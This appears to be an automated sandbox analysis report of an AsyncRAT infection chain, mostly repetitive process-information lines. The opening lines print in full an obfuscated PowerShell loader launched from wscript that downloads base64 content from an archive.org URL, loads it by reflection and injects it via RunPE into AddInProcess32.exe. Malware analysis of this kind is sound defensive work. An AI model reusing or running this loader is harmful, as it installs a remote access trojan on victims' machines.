Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex( ('9'+'jDurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/D'+'etah'+'NoteV.txt'+'ve5;'+'9jDbase64Co'+'nt'+'ent'+' = (N'+'ew-Obj'+'ec'+'t Sys'+'tem'+'.'+'Net.WebClient).Downl'+'oadS'+'tr'+'ing(9jDur'+'l'+');9jDb'+'ina'+'ry'+'C'+'ontent = '+'[Sys'+'tem.'+'Convert]::From'+'Ba'+'se64Str'+'i'+'ng('+'9'+'jDbase64Con'+'ten'+'t);9jDassembly = [R'+'eflect'+'ion.Assembl'+'y]::Load(9jD'+'bin'+'aryCon'+'ten'+'t);9jD'+'type = 9'+'jDassemb'+'ly.Get'+'Ty'+'pe(ve5RunPE.Homev'+'e5);9'+'jD'+'method = 9j'+'Dt'+'yp'+'e.GetMethod(ve5VAIve5);9jDmet'+'hod.'+'Inv'+'o'+'ke(9jDnull'+', [object'+'['+']]@(ve50/MN'+'Ta'+'A/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5AddIn'+'Pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').RePlaCe('9jD',[strING][ChAR]36).RePlaCe('ve5',[strING][ChAR]39) )"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex( ('9'+'jDurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/D'+'etah'+'NoteV.txt'+'ve5;'+'9jDbase64Co'+'nt'+'ent'+' = (N'+'ew-Obj'+'ec'+'t Sys'+'tem'+'.'+'Net.WebClient).Downl'+'oadS'+'tr'+'ing(9jDur'+'l'+');9jDb'+'ina'+'ry'+'C'+'ontent = '+'[Sys'+'tem.'+'Convert]::From'+'Ba'+'se64Str'+'i'+'ng('+'9'+'jDbase64Con'+'ten'+'t);9jDassembly = [R'+'eflect'+'ion.Assembl'+'y]::Load(9jD'+'bin'+'aryCon'+'ten'+'t);9jD'+'type = 9'+'jDassemb'+'ly.Get'+'Ty'+'pe(ve5RunPE.Homev'+'e5);9'+'jD'+'method = 9j'+'Dt'+'yp'+'e.GetMethod(ve5VAIve5);9jDmet'+'hod.'+'Inv'+'o'+'ke(9jDnull'+', [object'+'['+']]@(ve50/MN'+'Ta'+'A/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5AddIn'+'Pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').RePlaCe('9jD',[strING][ChAR]36).RePlaCe('ve5',[strING][ChAR]39) )"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF887971AE9 push eax; iretd	2_2_00007FF887971B5D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF8879847AB push ecx; retf	4_2_00007FF8879847AC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF88798C757 push ebp; retf	4_2_00007FF88798C758
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF88798621D push E85B562Fh; ret	4_2_00007FF8879862F9

Boot Survival

Yara detected AsyncRAT

Source: Yara match	File source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1dfb57c99b8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1dfb57c99b8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2700013071.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1489737253.000001DFB57B3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 1760, type: MEMORYSTR

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
